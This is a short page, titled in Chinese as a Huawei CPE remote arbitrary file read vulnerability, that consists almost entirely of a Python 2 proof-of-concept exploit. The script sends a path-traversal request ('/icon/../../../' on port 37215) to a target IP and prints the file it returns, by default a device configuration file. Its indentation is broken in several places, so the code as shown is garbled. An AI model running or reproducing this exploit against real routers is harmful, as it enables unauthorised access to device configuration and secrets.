华为CPE设备远程任意文件读取漏洞

                                                """
Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)
"""
import logging
import sys
import urllib2
DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5
def fetch_url(url):
	global DEFAULT_HEADERS, DEFAULT_TIMEOUT
request = urllib2.Request(url, headers=DEFAULT_HEADERS)
try:
	data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
except Exception, e:
	logging.error("Exception: %s", e)
data = None
return data
def exploit(ip, path):
	url = "http://%s:37215/icon/../../../%s" % (ip, path)
data = fetch_url(url)
return data
def main():
	targetip = sys.argv[1]
if len(sys.argv) > 2:
	path = sys.argv[2].strip()
else:
	path = "/etc/defaultcfg.xml"
assert path.startswith("/"), "An absolute path is required"
data = exploit(targetip, path)
if data is None:
	logging.error("Exploit failed")
exit(-1)
# Successful
print data
if __name__ == "__main__":
	main()